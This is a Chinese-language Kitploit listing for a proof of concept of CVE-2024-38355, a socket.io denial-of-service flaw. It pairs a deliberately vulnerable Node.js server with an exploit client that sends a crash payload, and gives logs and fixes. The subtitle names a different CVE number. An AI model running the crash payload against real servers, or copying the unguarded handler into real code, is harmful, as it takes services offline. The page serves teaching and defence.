Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-38355-PoC — CVE-2024-47554 的概念验证 | Kitploit
工具/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

CVE-2024-47554 的概念验证

查看仓库
18个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-38355 演示(Socket.IO 崩溃)

本项目是一个概念验证,演示了 CVE-2024-38355,这是 socket.io 中的一个拒绝服务漏洞。该项目仅供教育目的,展示攻击机制以及如何保护应用。

关于漏洞 (CVE-2024-38355)

该漏洞影响以下 socket.io 版本:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

一个特制的 Socket.IO 数据包可能在服务器上触发未捕获的异常,导致 Node.js 进程崩溃。这会造成拒绝服务 (DoS) 攻击。

工作原理:

  1. 客户端正常连接到 Socket.IO 服务器。
  2. 客户端发送一个恶意事件/数据包,在服务器上触发错误。
  3. 如果服务器代码抛出异常(例如,由于处理不可信输入)且 socket 上没有错误处理器,未捕获的异常会使整个 Node.js 进程崩溃。
  4. 服务器对所有用户不可用。

关键因素:

  • socket 上缺少 error 事件监听器
  • 处理客户端数据时可能抛出异常的服务器端代码
  • 没有全局未捕获异常处理器

项目结构

该项目包含两个 Docker 容器:

  1. vulnerable-server:使用存在漏洞的 [email protected] 的 Node.js 服务器。它有一个事件处理器,在接收恶意数据时可能抛出未捕获的异常。
  2. exploit-client:一个连接到服务器的 Node.js 脚本,首先测试正常操作,然后发送一个使服务器崩溃的有效载荷。

要求

  • Docker
  • Docker Compose

或者,替代方案:

  • Node.js 18+
  • npm

如何运行

选项 1:使用 Docker Compose(推荐)

在项目根目录打开终端并运行:

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

这将执行以下操作:

  1. 构建服务器和客户端的镜像。
  2. 在端口 3000 上启动服务器。
  3. 启动漏洞利用客户端,它将自动攻击并使服务器崩溃。

选项 2:本地运行(无需 Docker)

终端 1 - 启动服务器:

root@kitploit:~
cd server
npm install
npm start

终端 2 - 运行漏洞利用:

root@kitploit:~
cd exploit
npm install
npm start

预期输出

服务器日志:

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

漏洞利用日志:

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

停止

按下 Ctrl+C 或运行:

root@kitploit:~
docker-compose down

代码分析

存在漏洞的服务器 (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

漏洞利用脚本 (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

如何修复?

要保护你的应用免受此漏洞影响:

  1. 更新 socket.io 到 4.6.2 或更高版本(该修复版本添加了一个默认的无操作错误处理器)。

  2. 始终为 socket 附加错误处理器:

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. 在 try-catch 中包装事件处理器:

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. 添加全局未捕获异常处理器(作为最后的手段):

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

参考

  • NVD 上的 CVE-2024-38355
  • GitHub 安全公告 GHSA-25hc-qcg6-38wj
  • 修复提交

项目仅用于教育目的。

下载工具